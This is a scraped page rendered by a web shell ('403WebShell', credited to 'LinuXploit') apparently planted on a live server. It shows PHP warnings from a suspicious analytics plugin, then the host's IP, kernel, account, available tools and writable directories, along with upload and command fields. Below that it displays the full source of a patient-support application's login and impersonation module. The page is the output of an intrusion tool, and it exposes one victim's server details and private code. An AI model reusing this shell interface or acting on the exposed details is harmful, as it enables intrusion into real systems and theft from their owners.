Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_support/modules/pkpCore/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_support/modules/pkpCore/main.php
<?php

namespace modules\pkpCore;

use \Pelago\Emogrifier\CssInliner;

	require_once __DIR__ . '/model/destination.php';
	require_once __DIR__ . '/model/mailobject.php';

class main extends \moduleMain {
	use \modules\config\traits {
			\modules\config\traits::__construct as __ConstructConfig;
		}
	use \modules\input\traits {
			\modules\input\traits::__construct as __ConstructInput;
		}
	use \modules\database\traits {
			\modules\database\traits::__construct as __ConstructDatabase;
		}
	use \modules\output\traits {
			\modules\output\traits::__construct as __ConstructOutput;
		}
	
	private $active_theme;
	private $levels_present = [];
	private $cache = [];
	private $permissions;
	
	public function __construct() {
		parent::__construct(__DIR__);
		$this->__ConstructConfig();
		$this->__ConstructInput();
		$this->__ConstructDatabase();
		$this->__ConstructOutput($this->__INPUT, $this->__CONFIG);
		
		require_once __DIR__ . '/controller.php';
		require_once __DIR__ . '/model.php';
		require_once __DIR__ . '/view.php';
	}
		
	public function Activate() {		// install hooks
		$this->Register_FormatHandler('html', [$this, '__export_html']);
		$this->Register_FormatHandler('htm', [$this, '__export_html']);

		hook_add('user.levelpresent', [$this, '__levelpresent']);
		hook_add('login.create', [$this, '__login_create'] );		// a user can have multiple logins
        hook_add('login.verify', [$this, '__login_verify_init'], 1 );
		hook_add('login.verify', [$this, '__login_verify'] );		// if credentials are ok, return the user_id, name and level of the user
		hook_add('group.enum', [$this, '__standardgroups']);
		hook_add('execute', [$this, '__module_exec']);
		hook_add('execute.internal', [$this, '__module_execint']);
		hook_add('module.enable', [$this, '__module_enable']);		// enable or disable a module
		hook_add('module.theme', [$this, '__module_theme']);		// get the active theme
		hook_add('module.list', [$this, '__RetrieveActiveModules']);		// get a list of all enabled moduled
		hook_add('global.load', [$this, '__module_load'], 1);		// load all enabled modules
		hook_add('global.load', [$this, '__module_load99'], 99);	// save settings file
		hook_add('login', [$this, '__login'], 1);					// log the user in - must be first
		hook_add('logout', [$this, '__logout'], 90);				// log the user out
		hook_add('menu.menu3', [$this, '__login_link']); 			// add login/logout item to menu
		hook_add('menu.menu2', [$this, '__login_link2_1'], 10); 	// home
		hook_add('menu.menu2', [$this, '__login_link2'], 99); 		// add login/logout item to menu
		hook_add('email.transform', [$this, '__html_to_text'], 90);	// once html has been finalized, extract the plaintext version
		hook_add('email.transform', [$this, '__css_to_html'], 95);	// merge in css styles
		hook_add('output.common', [$this, '__output_common']);		// add "displayPage" fields - this is used when outputting a webpage as json
		hook_add('filter.themes', [$this, '__available_themes']);
		$this->link('/login', [$this, '__action_login']);			// matches:  /login /login? /login# but not /login/ or /login/...
		$this->link('/logout', [$this, '__action_logout']);
		$this->return_url = $this->__INPUT->request_uri();
		if (defined('RUNAS')) {
			$this->_impersonate_user(RUNAS);
		}
		$this->level = isset($_SESSION['current_user']) ? $_SESSION['current_user']['u_level'] : 0;
		$this->hasUser = hook_execute('user.levelpresent', FALSE, 10);
		$this->impersonater = isset($_SESSION['impersonate']) ? $_SESSION['impersonate']['u_id'] : 0;
		$this->user_id = isset($_SESSION['current_user']) ? $_SESSION['current_user']['u_id'] : 0;
        $GLOBALS['loader']->UserLevel($this->level);
	}
	
	private function _impersonate_user($uid) {
		$users = $this->LoadModel('user_model');
		$users->Impersonate($uid);
	}

	public function __output_common(&$data) {
		//to do: load all related handlebar templates
		$this->commonItems($data);
	}
	
	public function commonItems(&$data) {
		// Load all the Handlebars templates
		$this->__OUTPUT->EnumHandleBars($this->permissions);		// html format needs associated handlebars templates; should also be used for on_same_page

		$data['user'] = ['id' => (int)$this->user_id, 'level' => (int)$this->level];
		$data['host'] = $this->hostname(FALSE);

		$param = [ 'uri' => $this->__INPUT->request_uri() ];
		
		$template = !empty($data['template']) ? $data['template'] : '';
		if ($template != '') {
			$param['template'] = $this->__OUTPUT->GetTemplate($template);
		}
		
		$data = hook_execute('output.data', $data, $param);
		// set page title 
		if (!empty($data['template']) && empty($data['page_title'])) {
			$data['page_title'] = $this->__OUTPUT->GetTitleFromTemplate($data['template']);
		}
		if (isset($data['popup']) && is_array($data['popup'])) {
			$node = &$data['popup'];
			if (!empty($node['template']) && empty($node['title'])) {
				$node['title'] = $this->__OUTPUT->GetTitleFromTemplate($node['template']);
			}
		}
	}
	
	// add common items needed for html templating
	// page may have many handlebars templates - this chooses the one based on the entrypoint uri
	public function _setPrimaryItem(&$data) {
		$data['current'] = $this->current_url();

		$this->commonItems($data);
		/*
		if (isset($this->on_same_page)) {
			ksort($this->on_same_page);		// move index, if present, to start
			$data['samepage'] = array_values($this->on_same_page);
		}
		*/

		// final json block
		$id = $this->IncludeFile('');
		$id->JavascriptData('current_page', $data);
		$id->JavascriptCommand("\t\tmain.initialize(current_page)", 100);
	}
	
	public function __standardgroups(&$groups) {
		if (empty($groups)) $groups = [];
		$groups[0] = 'everyone';
		$groups[1] = 'member';
		$groups[3] = 'special';     // company level
		$groups[5] = 'moderator';
		$groups[9] = 'staff';
		$groups[10] = 'admin';
	}

	public function __login_verify_init(&$result) {
        $_SESSION['domain'] = FALSE;
        $_SESSION['x-name'] = FALSE;
        $_SESSION['x-email'] = FALSE;

    }
	
	public function __export_html($data) {
		if ($data !== NULL ) {	// only if html
			$this->_setPrimaryItem($data);
		}
		// pass data to theme
		$current_theme = $this->_initTheme();
		$current_theme->run($data);
	}
	
	// get group membership
	// used to determine if we have permission to access a feature or not.
	public function LoadGroupMembership($level = 0) {
		$permissions = [];
		$groups = hook_execute('group.enum', FALSE);
		foreach($groups as $grouplevel => $groupname) {
			if ($level >= $grouplevel) $permissions[$groupname] = 1;
		}
		if (hook_exists('user.membership')) {
			$permissions = hook_execute('user.membership', $permissions);
		}
		$this->permissions = $permissions;
	}

	private function _apply_late(&$data) {
		foreach($data as $key => &$value) {
			if (is_array($value)) {
				$this->_apply_late($value);
			} elseif (is_string($value)) {
				$value = $this->hook_apply_late($value);
			}
		}
	}
	
	private function isStaticFile($segments) {
		array_shift($segments);
		$module = array_shift($segments);
		$path = join('/', $segments);
		if ($path == '') return '';
		$filename = HOME . '/modules/' . $module . '/static/' . $path;
		$filename = str_replace(['..', '&', '<', '>', '|'], '', $filename);
		return file_exists($filename) ? $filename : '';
	}
	
	public function __module_exec(&$result, $segments) {
		$element0 = isset($segments[0]) ? $segments[0] : '';
		if ($element0 == '~' && $result === FALSE) {
			$filename = $this->isStaticFile($segments);
			if ($filename != '') {						// output file/mimetype
				$mime = mime_content_type($filename);
				$ext = pathinfo($filename, PATHINFO_EXTENSION);
				if ($ext == 'css') $mime = 'text/css';
				if ($ext == 'js') $mime = 'application/javascript; charset=UTF-8';
				header("Content-Type: $mime");
				readfile($filename);
				exit;
			} else {
				$GLOBALS['loader']->Intercept($result, $segments);
			}
		}
	}

	public function __module_theme(&$result, $default = 'themeDefault') {
		if ($result === NULL) {
			$result = load_module($default);
			$result->Load();
		}
	}
	
	public function _initTheme($default = '') {
		if (empty($this->active_theme)) {
			if ($default != '') {
				$requestedTheme = $default;
			} else {
				if (isset($this->settings['theme']) && is_object($this->settings['theme'])) {
					$requestedTheme = json_decode($this->settings['theme']->pd_text);
				} else {
					$requestedTheme = $this->settings['theme'] ?? '';
				}
			}
			if ($requestedTheme == '') $requestedTheme = 'themeDefault';
			$this->active_theme = load_module($requestedTheme);
			$this->active_theme->Load();
		}
		return $this->active_theme;
	}
	
	public function __module_execint(&$data, $uri) {
		$data = $this->ExecuteInternal($uri);
	}
	
	public function ExecuteInternal($uri) {
		$dest = new \Destination();
		$dest->uri($uri)
				->Input($this->__INPUT)
				->Output($this->__OUTPUT)
				->Permissions($this->permissions, $this->level);
		$routes = $this->link();
		if ($routes !== NULL) $dest->Routes($routes);
		$dest->Parse();
				
		$errnum = $dest->GetError();
		if ($errnum) {
			return FALSE;
		} elseif (!$dest->isHandled()) {
			return $dest->Execute();			// ** execute the command **
		} else {
			return FALSE;
		}
	}
	
	public function run() {
		$data = NULL;
		$this->LoadGroupMembership($this->level);		//to do: save this in cache
		$uri = $this->request_uri();
		
		$dest = new \Destination();
		$dest->uri($uri)
				->Input($this->__INPUT)
				->Output($this->__OUTPUT)
				->Permissions($this->permissions, $this->level);
		$routes = $this->link();
		if ($routes !== NULL) $dest->Routes($routes);
		$dest->Parse();
				
		$errnum = $dest->GetError();
		if ($errnum) {
			$this->HttpStatus($errnum);
		} elseif (!$dest->isHandled()) {
			$data = $dest->Execute();			// ** execute the command **
			$errnum = $dest->GetError();		// handler returned an error?
			if ($errnum) {
				$this->HttpStatus($errnum);
			}
		}
		
		// load theme, if HTML or JSON-with-Late-Hook (if the JSON data is not being displayed, there's no need to use a late hook)
		// work out which theme was requested. Use Settings when page-specific theme is missing
		// if JSON-with-Late-Hook, replace placeholder values
		
		$http_status = $this->HttpStatus();
		$format = $this->outputFormat();
		if ($format == 'html' || $format == 'htm' || ($format == 'json' && $this->hasLate()) ) {  // json values may have template-sourced data 
			$data = hook_execute('output.filter', $data, $this);		// allow the data to be patched - eg theme
			if (isset($data['theme'])) {
				$theme = $data['theme'];
				unset($data['theme']);
			} else {
				$theme = '';
			}
			$this->_initTheme($theme);
			if ($this->hasLate()) {
				$this->_apply_late($data);
			}
		}
		
		if ($http_status->isError()) {
			hook_execute('output.error', FALSE, $http_status, $this->__OUTPUT);
		} else {
		// send to appropriate handler
			$this->__OUTPUT->ExportHandler($data);
		//		send message, if handled then exit
		//		die: unsupported output format error
		}
		
//		foreach($this->__CONFIG as $key => $value) {
//			echo "\nconfig: $key => $value";
//		}

	}

	public function __module_enable($module_name, $enable) {
        if (empty($module_name)) {
            die('Unable to enable empty module');
        }
		$key = 'state:' . md5($module_name);
		$this->tablename('config');
		if ($enable) {
			$this->InsertOrUpdate([
				'cfg_hash' => $key
			], [
				'cfg_text' => $module_name			// simple value,  not serialized
			]);
		} else {
			$this->Delete(['cfg_hash' => $key]);
			// to do: remove from htconfig ($config->DATA)
		}
//		$this->DbErr();
		
		$GLOBALS['loader']->LoadModule($module_name);
		list($module_name, $node) = $GLOBALS['loader']->LocateModule($module_name);
		if (isset($node['main'])) {
			$item = $node['main'];
			try {
				if ($enable) {
					if (method_exists($item, 'onEnable')) $item->onEnable();
				} else {
					if (method_exists($item, 'onDisable')) $item->onDisable();
				}
			} catch (\Exception $e) {
			}
		}
	}
	
    public function __RetrieveActiveModules(&$result) {
		if (empty($result)) {
			$data = $this->tablename('config')
						 ->Query('select cfg_hash,cfg_text from `config`')
						 ->where('cfg_hash like %s', 'state:%')
						 ->get();
			$result = [];
			foreach($data as $dataitem) {
                if (!empty($dataitem->cfg_text)) {
                    $result[] = $dataitem->cfg_text;
                }
			}
		}
    }

	
	// load all enabled modules, (if not previously loaded, with their dependencies)
	public function __module_load(&$unused) {
        $module_list = NULL;
		$this->__RetrieveActiveModules($module_list);					// get list of active modules
		foreach($module_list as $module_name) {
			// if module not loaded, then load it;
			$res = $GLOBALS['loader']->LoadModule($module_name);
			if (is_string($res)) {	// failed to load
			// error?
				continue;
			}
			// mark all as Enabled
			$GLOBALS['loader']->MarkEnabled($module_name);
		}	
	}

	public function __module_load99(&$unused) {
		$GLOBALS['loader']->flush();
	}
	
	// Add a new entry to the user & login tables
	public function __login_create(&$result, $param) {
		$users = $this->LoadModel('user_model');
		$user_id = empty($param->user_id) ? 0 : $param->user_id;
		if (!$user_id) {
			$res = $users->FromLogin($param, TRUE);
			$user_id = $res === NULL ? 0 : $res->user_id;
		}
		
		if (!$user_id) {
			$level = empty($param->level) ? 0 : $param->level;
			$name = $param->name;
			$email = isset($param->email) ? $param->email : '';		// primary email
			$user_id = $users->createUser($level, $name, $email);
		}
		$result = $users->AddLogin($user_id, $param);
	}
	
	public function __login_verify(&$result, $param) {
		if (!$result) {
			$users = $this->LoadModel('user_model');
			$result = $users->FromLogin($param, FALSE);
		}
	}
	
	// does a user exist having the  requested access level?
	public function __levelpresent(&$result, $level) {
		$users = $this->LoadModel('user_model');
		if (!isset($this->levels_present[$level])) {
			$this->levels_present[$level] = $users->LevelPresent($level);
		}
		$result = $this->levels_present[$level];
	}
	
	public function __login(&$res, $user_info) {
		// login
		$this->user_id = isset($user_info->us_user_id) ? $user_info->us_user_id : $user_info->user_id;
		$this->level = $user_info->level;
		$_SESSION['current_user'] = [
			'u_level' => $this->level,
			'u_id' => $this->user_id,
			'u_name' => trim($user_info->name_first . ' ' . $user_info->name_last)
		];
		
		$impersonate = empty($user_info->x_impersonate) ? FALSE : $user_info->x_impersonate;
		if (!$impersonate) {					// only if we are not impersonating.
			if ($user_info->level >= 9) {		// allow to impersonate others. Staff can only impersonate someone with a lower level
				$_SESSION['impersonate'] = $_SESSION['current_user'];
			} else {
				unset($_SESSION['impersonate']);
			}
		}
	}
	
	function __action_login() {
		$bounce = isset($_GET['return']) ? $_GET['return'] : '';
		if (strpos($bounce, '//') !== FALSE) $bounce = '';
		if ($bounce == '') $bounce = '/account';
		$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
		$auth = isset($_GET['auth']) ? $_GET['auth'] : '';
		if ($auth != '') {		// impersonate
			if (hook_execute('nonce.verify', FALSE, 'impersonate', $id, $auth)) {
				$users = $this->LoadModel('user_model');
				$users->Impersonate($id);
			}
			$this->Redirect($bounce);		// auth may be invalid
		}
		
		$items = hook_execute('auth.*.css', []);
		foreach($items as $item) {
			$this->IncludeFile($item);
		}
		
		$handlers = hook_execute('auth.*.login', [], ['bounce' => $bounce]);
		
		$result = [];
		$list = [];
		$callback = NULL;
		foreach($handlers as $module => $info) {
			if (isset($info['theme'])) $result['theme'] = $info['theme'];
			if (isset($info['login'])) $callback = $info['login'];
			if (!empty($info['button'])) {
				$list[] = ['link' => $info['link'], 'value' => $info['button']];
			}
		}
		$result['provider'] = $list;
		if (is_callable($callback)) {
			$param = [&$result];
			call_user_func_array($callback, $param);
		} else {
			$view = $this->__LoadView('admin_view');
			$view->render_login();
			$result['template'] = 'login_view';
		}
		return $result;
	}
	
	public function __logout() {
		if ($this->impersonater && $this->user_id != $this->impersonater) {		// finish impersonating the user
			$_SESSION['current_user'] = $_SESSION['impersonate'];
		} else {
			unset($_SESSION['current_user']);
		}
	}
	
	public function __action_logout() {
        $_SESSION['domain']   = FALSE;
        $_SESSION['x-name']   = FALSE;
        $_SESSION['x-email']  = FALSE;
        
		hook_execute('logout', []);
		session_write_close();
		$return = $this->return_url;
		if (strpos($return, '/logout') !== FALSE || strpos($return, '/login') !== FALSE ) {
			$return = '/';
		}
		return ['redirect' => $return];
	}
		
	public function __login_link(&$menu) {
		if ($this->hasUser) {
			//to do: remove login link from login (and logout?) pages
			// logout -> don't bounce to logout.
			// login -> don't bounce to login
			$return = rawurlencode($this->return_url);
			if ($this->level) {
				$menu[] = ['caption' => 'Logout', 'href' => '/logout?return=' . $return, 's' => 0];
			} else {
				$menu[] = ['caption' => 'Login', 'href' => '/login?return=' . $return, 's' => 0];
			}
		}
	}

	public function __login_link2_1(&$menu) {
		if ($this->hasUser) {
			$menu[] = [
				'caption' => 'Home', 
				'href' => '/', 
				's' => 0, 
				'icon' => '<i class="largeicon fas fa-home"></i>', 
				'hint' => 'Home'
			];
		}
	}
	
	public function __login_link2(&$menu) {
		if ($this->hasUser) {
			//to do: remove login link from login (and logout?) pages
			// logout -> don't bounce to logout.
			// login -> don't bounce to login
			$return = rawurlencode($this->return_url);
			if ($this->level) {
				$hint = "Logged in as " . htmlspecialchars($_SESSION['current_user']['u_name']);
				if ($this->level >= 9) {
					$menu[] = [
						'caption' => 'Settings', 
						'href' => '/admin', 
						'hint' => 'Admin / Settings', 
						'icon' => '<i class="largeicon fas fa-toolbox"></i>', 
						's' => 0
					];
				}
				$menu[] = [
					'caption' => 'Your Account', 
					'href' => '/account', 
					'hint' => $hint, 
					'icon' => '<i class="largeicon fas fa-user-cog"></i>', 
					's' => 0
				];
				if ($this->impersonater && $this->user_id != $this->impersonater) {
					$menu[] = [
						'caption' => 'Impersonate', 
						'href' => '/logout?return=' . $return, 
						's' => 0, 
						'icon' => '<i class="largeicon fas fa-user-slash"></i>', 
						'hint' => 'Stop impersonating user'
					];		// end impersonating
				} else {
					$menu[] = [
						'caption' => 'Logout', 
						'href' => '/logout?return=' . $return, 
						's' => 0, 
						'icon' => '<i class="largeicon fas fa-power-off"></i>', 
						'hint' => 'Logout'];
				}
				
			} else {
				$menu[] = [
					'caption' => 'Login', 
					'href' => '/login?return=' . $return, 
					's' => 0, 
					'icon' => '<i class="largeicon fas fa-user"></i>', 
					'hint' => 'Login'
				];
			}
		}
	}

	
	public function __html_to_text(&$mailobject) {
		if (is_object($mailobject)) {
			$body = $mailobject->body();
			// extract text
			$parser = new \phpHTMLplain;
			$text = $parser->process_plaintext($body);
			$mailobject->text($text);
		}
	}
	
	// https://github.com/MyIntervals/emogrifier/releases
	public function __css_to_html(&$mailobject) {
		if (is_object($mailobject)) {
			$css = $mailobject->css();
			if ($css !== FALSE) {		// merge in css
                $body = CssInliner::fromHtml($mailobject->body())->inlineCss($css)->render();
				$mailobject->body($body);
			}
		}
	}
	
	public function __available_themes(&$result) {
		$GLOBALS['loader']->Unscanned(TRUE);
		$modulelist = $GLOBALS['loader']->getModuleList();
		$result = [];
		$result[] = [
			'key' => '',
			'value' => '(please select a theme)',
		];
		foreach($modulelist as $name => $module_info) {
			if (is_array($module_info)) {
				if (isset($module_info['.info']['theme'])) {
					$theme = $module_info['.info']['theme'];
					$result[] = [
						'key' => $theme,
						'value' => "{$module_info['.info']['name']} [$theme]",
					];
				}
			}
		}
	}
}

// from wordpress
function remove_accents($string) {
	if ( !preg_match('/[\x80-\xff]/', $string) )
		return $string;

	$chars = array(
	// Decompositions for Latin-1 Supplement
	chr(195).chr(128) => 'A', chr(195).chr(129) => 'A',
	chr(195).chr(130) => 'A', chr(195).chr(131) => 'A',
	chr(195).chr(132) => 'A', chr(195).chr(133) => 'A',
	chr(195).chr(134) => 'AE',chr(195).chr(166) => 'ae', 
	chr(195).chr(135) => 'C', chr(195).chr(136) => 'E',
	chr(195).chr(137) => 'E', chr(195).chr(138) => 'E',
	chr(195).chr(139) => 'E', chr(195).chr(140) => 'I',
	chr(195).chr(141) => 'I', chr(195).chr(142) => 'I',
	chr(195).chr(143) => 'I', chr(195).chr(145) => 'N',
	chr(195).chr(146) => 'O', chr(195).chr(147) => 'O',
	chr(195).chr(148) => 'O', chr(195).chr(149) => 'O',
	chr(195).chr(150) => 'O', chr(195).chr(153) => 'U',
	chr(195).chr(154) => 'U', chr(195).chr(155) => 'U',
	chr(195).chr(156) => 'U', chr(195).chr(157) => 'Y',
	chr(195).chr(159) => 's', chr(195).chr(160) => 'a',
	chr(195).chr(161) => 'a', chr(195).chr(162) => 'a',
	chr(195).chr(163) => 'a', chr(195).chr(164) => 'a',
	chr(195).chr(165) => 'a', chr(195).chr(167) => 'c',
	chr(195).chr(168) => 'e', chr(195).chr(169) => 'e',
	chr(195).chr(170) => 'e', chr(195).chr(171) => 'e',
	chr(195).chr(172) => 'i', chr(195).chr(173) => 'i',
	chr(195).chr(174) => 'i', chr(195).chr(175) => 'i',
	chr(195).chr(177) => 'n', chr(195).chr(178) => 'o',
	chr(195).chr(179) => 'o', chr(195).chr(180) => 'o',
	chr(195).chr(181) => 'o', chr(195).chr(182) => 'o',
	chr(195).chr(182) => 'o', chr(195).chr(185) => 'u',
	chr(195).chr(186) => 'u', chr(195).chr(187) => 'u',
	chr(195).chr(188) => 'u', chr(195).chr(189) => 'y',
	chr(195).chr(191) => 'y',
	// Decompositions for Latin Extended-A
	chr(196).chr(128) => 'A', chr(196).chr(129) => 'a',
	chr(196).chr(130) => 'A', chr(196).chr(131) => 'a',
	chr(196).chr(132) => 'A', chr(196).chr(133) => 'a',
	chr(196).chr(134) => 'C', chr(196).chr(135) => 'c',
	chr(196).chr(136) => 'C', chr(196).chr(137) => 'c',
	chr(196).chr(138) => 'C', chr(196).chr(139) => 'c',
	chr(196).chr(140) => 'C', chr(196).chr(141) => 'c',
	chr(196).chr(142) => 'D', chr(196).chr(143) => 'd',
	chr(196).chr(144) => 'D', chr(196).chr(145) => 'd',
	chr(196).chr(146) => 'E', chr(196).chr(147) => 'e',
	chr(196).chr(148) => 'E', chr(196).chr(149) => 'e',
	chr(196).chr(150) => 'E', chr(196).chr(151) => 'e',
	chr(196).chr(152) => 'E', chr(196).chr(153) => 'e',
	chr(196).chr(154) => 'E', chr(196).chr(155) => 'e',
	chr(196).chr(156) => 'G', chr(196).chr(157) => 'g',
	chr(196).chr(158) => 'G', chr(196).chr(159) => 'g',
	chr(196).chr(160) => 'G', chr(196).chr(161) => 'g',
	chr(196).chr(162) => 'G', chr(196).chr(163) => 'g',
	chr(196).chr(164) => 'H', chr(196).chr(165) => 'h',
	chr(196).chr(166) => 'H', chr(196).chr(167) => 'h',
	chr(196).chr(168) => 'I', chr(196).chr(169) => 'i',
	chr(196).chr(170) => 'I', chr(196).chr(171) => 'i',
	chr(196).chr(172) => 'I', chr(196).chr(173) => 'i',
	chr(196).chr(174) => 'I', chr(196).chr(175) => 'i',
	chr(196).chr(176) => 'I', chr(196).chr(177) => 'i',
	chr(196).chr(178) => 'IJ',chr(196).chr(179) => 'ij',
	chr(196).chr(180) => 'J', chr(196).chr(181) => 'j',
	chr(196).chr(182) => 'K', chr(196).chr(183) => 'k',
	chr(196).chr(184) => 'k', chr(196).chr(185) => 'L',
	chr(196).chr(186) => 'l', chr(196).chr(187) => 'L',
	chr(196).chr(188) => 'l', chr(196).chr(189) => 'L',
	chr(196).chr(190) => 'l', chr(196).chr(191) => 'L',
	chr(197).chr(128) => 'l', chr(197).chr(129) => 'L',
	chr(197).chr(130) => 'l', chr(197).chr(131) => 'N',
	chr(197).chr(132) => 'n', chr(197).chr(133) => 'N',
	chr(197).chr(134) => 'n', chr(197).chr(135) => 'N',
	chr(197).chr(136) => 'n', chr(197).chr(137) => 'N',
	chr(197).chr(138) => 'n', chr(197).chr(139) => 'N',
	chr(197).chr(140) => 'O', chr(197).chr(141) => 'o',
	chr(197).chr(142) => 'O', chr(197).chr(143) => 'o',
	chr(197).chr(144) => 'O', chr(197).chr(145) => 'o',
	chr(197).chr(146) => 'OE',chr(197).chr(147) => 'oe',
	chr(197).chr(148) => 'R',chr(197).chr(149) => 'r',
	chr(197).chr(150) => 'R',chr(197).chr(151) => 'r',
	chr(197).chr(152) => 'R',chr(197).chr(153) => 'r',
	chr(197).chr(154) => 'S',chr(197).chr(155) => 's',
	chr(197).chr(156) => 'S',chr(197).chr(157) => 's',
	chr(197).chr(158) => 'S',chr(197).chr(159) => 's',
	chr(197).chr(160) => 'S', chr(197).chr(161) => 's',
	chr(197).chr(162) => 'T', chr(197).chr(163) => 't',
	chr(197).chr(164) => 'T', chr(197).chr(165) => 't',
	chr(197).chr(166) => 'T', chr(197).chr(167) => 't',
	chr(197).chr(168) => 'U', chr(197).chr(169) => 'u',
	chr(197).chr(170) => 'U', chr(197).chr(171) => 'u',
	chr(197).chr(172) => 'U', chr(197).chr(173) => 'u',
	chr(197).chr(174) => 'U', chr(197).chr(175) => 'u',
	chr(197).chr(176) => 'U', chr(197).chr(177) => 'u',
	chr(197).chr(178) => 'U', chr(197).chr(179) => 'u',
	chr(197).chr(180) => 'W', chr(197).chr(181) => 'w',
	chr(197).chr(182) => 'Y', chr(197).chr(183) => 'y',
	chr(197).chr(184) => 'Y', chr(197).chr(185) => 'Z',
	chr(197).chr(186) => 'z', chr(197).chr(187) => 'Z',
	chr(197).chr(188) => 'z', chr(197).chr(189) => 'Z',
	chr(197).chr(190) => 'z', chr(197).chr(191) => 's'
	);

	$string = strtr($string, $chars);

	return $string;
}

function cleanslug($slug) {
	$slug = strtolower(remove_accents(trim($slug)));
	$slug = preg_replace("/[^a-z0-9_\- ]/", '', $slug);
	$slug = str_replace(array('_', '-'), ' ', $slug);
	$slug = preg_replace('/\s+/', '-',$slug);
	return $slug;
}


Youez - 2016 - github.com/yon3zu
LinuXploit